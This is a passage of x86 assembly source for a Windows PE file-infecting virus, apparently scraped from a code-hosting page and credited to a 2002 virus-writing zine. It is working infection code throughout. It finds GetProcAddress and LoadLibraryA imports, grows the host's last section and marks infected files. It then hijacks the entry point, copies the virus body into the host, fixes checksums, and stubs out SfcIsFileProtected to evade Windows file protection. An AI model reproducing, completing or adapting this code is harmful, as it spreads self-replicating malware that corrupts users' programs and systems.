||||
movzx ecx, [edi][PE.NumberOfSections ]
|
||||
add di, [edi][PE.SizeOfOptionalHeader ]
|
||||
adc edi, PE.Magic
|
||||
xor eax, eax
|
||||
|
||||
PrepareSection:
|
||||
; Also check there are no 'bad' entries
|
||||
cmp [edi][SECTION.VirtualSize], 0
|
||||
je PrepareFail
|
||||
cmp [edi][SECTION.SizeOfRawData], 0
|
||||
je PrepareFail
|
||||
cmp [edi][SECTION.PointerToRawData], eax
|
||||
jb @F
|
||||
mov eax, [edi][SECTION.PointerToRawData]
|
||||
mov edx, edi
|
||||
@@: add edi, SIZE SECTION
|
||||
loop PrepareSection
|
||||
|
||||
mov edi, edx
|
||||
sub edx, [MAP]
|
||||
mov [esi][VX.SectionEntry], edx
|
||||
|
||||
; Calculate how big the SECTION will be to completely engulf the rest of
|
||||
; the file [including DEBUG information] and save as VirusEntryPoint
|
||||
mov edx, [RD]
|
||||
mov eax, [edx][RX.FindData.FileSizeLow ]
|
||||
sub eax, [edi][SECTION.PointerToRawData]
|
||||
push eax
|
||||
add eax, [edi][SECTION.VirtualAddress ]
|
||||
mov [esi][VX.VirusEntryPoint], eax
|
||||
pop eax
|
||||
|
||||
; Calculate the SECTION + Slack + Virus + Padding Size
|
||||
mov edx, [MAP]
|
||||
add edx, [edx][IMAGE_DOS_HEADER.e_lfanew ]
|
||||
add eax, Virus_Size
|
||||
DO_API AlignToVA, eax, [edx][PE.FileAlignment]
|
||||
mov [esi + VX.NewSectionSize], eax
|
||||
|
||||
add eax, [edi][SECTION.PointerToRawData ]
|
||||
jc PrepareFail
|
||||
mov [esi][VX.NewFileSize], eax
|
||||
mov eax, -1
|
||||
jmp PrepareExit
|
||||
|
||||
PrepareFail:
|
||||
xor eax, eax
|
||||
PrepareExit:
|
||||
ret
|
||||
PrepareFile ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Infection Import Scanner ) ================================================
|
||||
; =============================================================================
|
||||
|
||||
ImportScan PROC VD:PTR VX, MAP:DWORD, TABLE:DWORD
|
||||
|
||||
; Locate the correct Thunk List which is swapped between MASM and TASM
|
||||
mov esi, [VD]
|
||||
mov edi, [TABLE]
|
||||
|
||||
mov eax, [edi][IMPORT.OriginalFirstThunk]
|
||||
or eax, eax
|
||||
jnz @F
|
||||
mov eax, [edi][IMPORT.FirstThunk ]
|
||||
|
||||
@@: DO_API ConvertToVA, [MAP], eax
|
||||
or eax, eax
|
||||
jz ImportExit
|
||||
mov edi, eax
|
||||
xor ecx, ecx
|
||||
|
||||
; Check if entry is the last in the table. If not, skip it if it's an
|
||||
; Ordinal entry, or load up where it points to and skip the Hint.
|
||||
ImportLoop:
|
||||
mov eax, [edi]
|
||||
or eax, eax
|
||||
jz ImportFinish
|
||||
js ImportNext
|
||||
DO_API ConvertToVA, [MAP], eax
|
||||
or eax, eax
|
||||
jz ImportFail
|
||||
inc eax
|
||||
inc eax
|
||||
|
||||
; Compare the string to our GetProcAddress string. If it matches, we
|
||||
; move onto the 'save' section which is pointed to by EDX. We saved
|
||||
; EAX for our next compare.
|
||||
push eax
|
||||
lea edx, [esi][VX.GetProcAddressRVA ]
|
||||
CompareStringM ADDR [esi][VX.sGetProcAddress ], eax
|
||||
cmp eax, 2
|
||||
pop eax
|
||||
je @F
|
||||
|
||||
; Compare the string to our LoadLibraryA string. If it matches, we
|
||||
; move onto the 'save' section which is pointed to by EDX. We didn't
|
||||
; save EAX, it's not needed anymore.
|
||||
lea edx, [esi][VX.LoadLibraryRVA ]
|
||||
CompareStringM ADDR [esi][VX.sLoadLibraryA ], eax
|
||||
cmp eax, 2
|
||||
jne ImportNext
|
||||
|
||||
@@: ; FirstThunk is the one that will be overwritten with the VAs of API on
|
||||
; execution, wether linked with MASM or TASM. Save its RVA for later.
|
||||
mov ebx, [TABLE ]
|
||||
mov ebx, [ebx][IMPORT.FirstThunk]
|
||||
lea ebx, [ebx + ecx * 4 ]
|
||||
mov [edx], ebx
|
||||
|
||||
ImportNext:
|
||||
inc ecx
|
||||
add edi, 4
|
||||
jmp ImportLoop
|
||||
|
||||
ImportFinish:
|
||||
; Failed by default, meaning continue searching for more Kernel32.DLL
|
||||
; Imports. If both API have been filled in, the loop routine that has
|
||||
; called us can stop searching.
|
||||
mov eax, -1
|
||||
cmp [esi][VX.LoadLibraryRVA], 0
|
||||
je ImportFail
|
||||
cmp [esi][VX.GetProcAddressRVA], 0
|
||||
jne ImportExit
|
||||
|
||||
ImportFail:
|
||||
xor eax, eax
|
||||
ImportExit:
|
||||
ret
|
||||
ImportScan ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Infection Finishing ) =====================================================
|
||||
; =============================================================================
|
||||
|
||||
FinishFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD
|
||||
|
||||
; Set our infection marker
|
||||
mov esi, [VD ]
|
||||
mov edi, [MAP]
|
||||
mov [edi][IMAGE_DOS_HEADER.e_csum], -1
|
||||
|
||||
; ESI = VD, EDI = PE, EDX = SECTION
|
||||
mov edx, [esi][VX.SectionEntry ]
|
||||
lea edx, [edi][edx ]
|
||||
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
|
||||
push edi
|
||||
|
||||
; Write all new SECTION fields
|
||||
mov eax, [edx][SECTION.VirtualSize ]
|
||||
cmp eax, [edx][SECTION.SizeOfRawData ]
|
||||
ja @F
|
||||
mov eax, [edx][SECTION.SizeOfRawData ]
|
||||
@@: DO_API AlignToVA, eax, [edi][PE.SectionAlignment ]
|
||||
sub [edi][PE.SizeOfImage], eax
|
||||
DO_API AlignToVA, [esi][VX.NewSectionSize], [edi][PE.SectionAlignment]
|
||||
add [edi][PE.SizeOfImage], eax
|
||||
|
||||
mov ebx, [esi][VX.NewSectionSize]
|
||||
mov [edx][SECTION.VirtualSize ], ebx
|
||||
mov [edx][SECTION.SizeOfRawData ], ebx
|
||||
or [edx][SECTION.Characteristics], IMAGE_SCN_MEM_READ
|
||||
|
||||
; Decide what SizeOfX SECTION we're in, subtract and update
|
||||
mov eax, [edx][SECTION.VirtualSize ]
|
||||
cmp eax, [edx][SECTION.SizeOfRawData ]
|
||||
ja @F
|
||||
mov eax, [edx][SECTION.SizeOfRawData ]
|
||||
|
||||
@@: lea ecx, [edi][PE.SizeOfCode ]
|
||||
test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_CODE
|
||||
jnz @F
|
||||
lea ecx, [edi][PE.SizeOfInitializedData ]
|
||||
test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
|
||||
jnz @F
|
||||
lea ecx, [edi][PE.SizeOfUninitializedData ]
|
||||
|
||||
@@: DO_API AlignToVA, eax, [edi][PE.FileAlignment]
|
||||
sub [ecx], eax
|
||||
mov eax, [esi][VX.NewSectionSize ]
|
||||
add [ecx], eax
|
||||
|
||||
; Set the new EntryPoint and save the old one
|
||||
mov ebx, [esi][VX.VirusEntryPoint ]
|
||||
push ebx
|
||||
xchg [edi][PE.AddressOfEntryPoint], ebx
|
||||
mov [esi][VX.HostsEntryPoint], ebx
|
||||
pop ebx
|
||||
|
||||
; Write the code section of the virus
|
||||
DO_API ConvertToVA, [MAP], ebx
|
||||
push esi
|
||||
mov esi, [esi][VX.DeltaOffset]
|
||||
lea esi, [esi][WinMain ]
|
||||
mov edi, eax
|
||||
mov ecx, Virus_Code / 4
|
||||
rep movsd
|
||||
pop esi
|
||||
|
||||
; Write the data section of the virus
|
||||
push esi
|
||||
mov ecx, Size VX / 4
|
||||
rep movsd
|
||||
pop esi
|
||||
|
||||
; Do the checksums, one of which is pointing to a junk area
|
||||
pop ebx
|
||||
DO_API tCheckSumMappedFile PTR [esi][VX.pCheckSumMappedFile], [MAP], [esi][VX.NewFileSize], ADDR [esi][VX.SectionEntry], ADDR [ebx][PE.CheckSum]
|
||||
|
||||
FinishExit:
|
||||
ret
|
||||
FinishFile ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Align to Boundary ) =======================================================
|
||||
; =============================================================================
|
||||
|
||||
AlignToVA PROC VALUE:DWORD, ALIGNER:DWORD
|
||||
|
||||
; EDX:EAX = VALUE. Divide by ECX, subtract remainder and add ALIGNER.
|
||||
mov eax, [VALUE ]
|
||||
xor edx, edx
|
||||
mov ecx, [ALIGNER]
|
||||
div ecx
|
||||
or edx, edx
|
||||
mov eax, [VALUE ]
|
||||
jz AlignExit
|
||||
add eax, [ALIGNER]
|
||||
|
||||
AlignExit:
|
||||
sub eax, edx
|
||||
ret
|
||||
AlignToVA ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Convert RVA to VA ) =======================================================
|
||||
; =============================================================================
|
||||
|
||||
ConvertToVA PROC MAP:DWORD, VALUE:DWORD
|
||||
|
||||
mov esi, [MAP ]
|
||||
mov edi, [VALUE]
|
||||
or edi, edi
|
||||
jz ConvertFail
|
||||
|
||||
; Locate start of SECTION in MAP, prepare for looping through them all
|
||||
add esi, [esi][IMAGE_DOS_HEADER.e_lfanew]
|
||||
movzx ecx, [esi][PE.NumberOfSections ]
|
||||
add si, [esi][PE.SizeOfOptionalHeader ]
|
||||
adc esi, PE.Magic
|
||||
|
||||
ConvertLoop:
|
||||
; Jump over this section entry if it starts above our RVA
|
||||
cmp [esi][SECTION.VirtualAddress], edi
|
||||
ja ConvertNext
|
||||
|
||||
; To find out where the section ends in the file, we need to check the
|
||||
; SizeOfRawData and VirtualSize entries and use the biggest one. Know
|
||||
; now that TASM and MASM swap the meanings of these entries. Bitches.
|
||||
mov eax, [esi][SECTION.SizeOfRawData ]
|
||||
cmp eax, [esi][SECTION.VirtualSize ]
|
||||
ja @F
|
||||
mov eax, [esi][SECTION.VirtualSize ]
|
||||
@@: add eax, [esi][SECTION.VirtualAddress]
|
||||
|
||||
; Jump over this section entry if it ends below our RVA
|
||||
cmp eax, edi
|
||||
jbe ConvertNext
|
||||
|
||||
; Fail if this entry doesn't exist in the file [could be memory only]
|
||||
cmp [esi][SECTION.PointerToRawData], 0
|
||||
je ConvertFail
|
||||
|
||||
; Convert raw pointer to VA and add our value's pointers offset to it
|
||||
mov eax, [MAP]
|
||||
add eax, [esi][SECTION.PointerToRawData]
|
||||
sub edi, [esi][SECTION.VirtualAddress ]
|
||||
add eax, edi
|
||||
jmp ConvertExit
|
||||
|
||||
ConvertNext:
|
||||
add esi, SIZE SECTION
|
||||
loop ConvertLoop
|
||||
|
||||
ConvertFail:
|
||||
xor eax, eax
|
||||
ConvertExit:
|
||||
ret
|
||||
ConvertToVA ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Alternate SfcIsFileProtected ) ============================================
|
||||
; =============================================================================
|
||||
|
||||
AlternSfc PROC A:DWORD, B:DWORD
|
||||
|
||||
; Alternate SfcIsFileProtected procedure, returns "File Unprotected"
|
||||
mov eax, FALSE
|
||||
ret
|
||||
|
||||
AlternSfc ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Alternate CheckSumMappedFile ) ============================================
|
||||
; =============================================================================
|
||||
|
||||
AlternSum PROC A:DWORD, B:DWORD, Y:DWORD, Z:DWORD
|
||||
|
||||
; Alternate CheckSumMappedFile procedure, returns "NULL Checksum OK"
|
||||
mov eax, [Z]
|
||||
mov ebx, NULL
|
||||
xchg [eax], ebx
|
||||
mov eax, [Y]
|
||||
mov [eax], ebx
|
||||
mov eax, [A]
|
||||
add eax, [eax][IMAGE_DOS_HEADER.e_lfanew]
|
||||
ret
|
||||
|
||||
AlternSum ENDP
|
||||
|
||||
; =============================================================================
|
||||
; ( Virus Data ) ==============================================================
|
||||
; =============================================================================
|
||||
|
||||
ALIGN 4
|
||||
Virus_Code EQU $ - WinMain
|
||||
Virus_Data VX { }
|
||||
Virus_Size EQU $ - WinMain
|
||||
|
||||
Virus ENDS
|
||||
END WinMain
|
||||
|
||||
COMMENT ` ---------------------------------------------------------------- )=-
|
||||
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
|
||||
-=( ---------------------------------------------------------------------- ) `
|
||||
Reference in New Issue
Block a user